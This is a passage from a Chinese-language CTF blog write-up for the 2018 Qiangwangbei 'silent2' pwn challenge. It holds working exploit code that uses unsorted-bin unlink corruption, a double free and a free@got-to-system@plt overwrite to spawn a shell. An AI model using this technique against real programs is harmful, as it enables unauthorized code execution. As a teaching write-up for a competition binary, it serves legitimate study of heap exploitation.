Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

强网杯 2018 pwn silent2 writeup

保护措施:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

此题与silent几乎完全一致,仅是在malloc的时候做了大小限制:

1
2
3
if ( size != 0x10 && size <= 127 )
exit(0);
v3 = malloc(size);

因此此题需要依靠unsorted bin和unlink漏洞进行利用。首先申请5个chunk:

1
2
3
4
5
New(0x100, 'Hack by sunichi') # chunk_0
New(0x100, 'Hack by sunichi') # chunk_1
New(0x100, 'Hack by sunichi') # chunk_2
New(0x100, 'Hack by sunichi') # chunk_3
New(0x100, 'Hack by sunichi') # chunk_4

随后free chunk_3、chunk_4:

1
2
Delete(3) # size 0x110
Delete(4) # size 0x110

构造payload,0x6020c0为程序保存申请的chunk的地址的列表,首先我们要确保能通过unlink的安全检查,因此与0x6020c0有关的两个地址需要相差0x8,其次我们需要利用unlink改写列表中的值,进而写入got表地址然后进行覆写,unlink能达到的效果是对目标地址(第3个p64)+0x18的位置上写入其自身,我们在这就可以将list[3]的值替换为list[0]的地址,因此第三个p64的地址为target_addr - 0x18。填充完后,伪造chunk,prev_size为0x100,size为0x100:

1
2
payload = p64(0) + p64(0x101) + p64(0x6020c0 + 0x18 - 0x18) + p64(0x6020c0 + 0x18 - 0x10) + 'A' * (0x100 - 0x20) + p64(0x100) + p64(0x110)
New(0x210, payload) # chunk_5

Double Free并且通过编辑chunk_3将list[0]改写为free@got,然后将system@plt写入free@got:

1
2
3
Delete(4)
Edit(3, p64(elf.got['free']))
Edit(0, p64(elf.plt['system']))

拿到shell:

1
2
3
4
New(0x100, '/bin/sh\x00') # chunk_6
Delete(6) # Get shell
p.interactive()
p.close()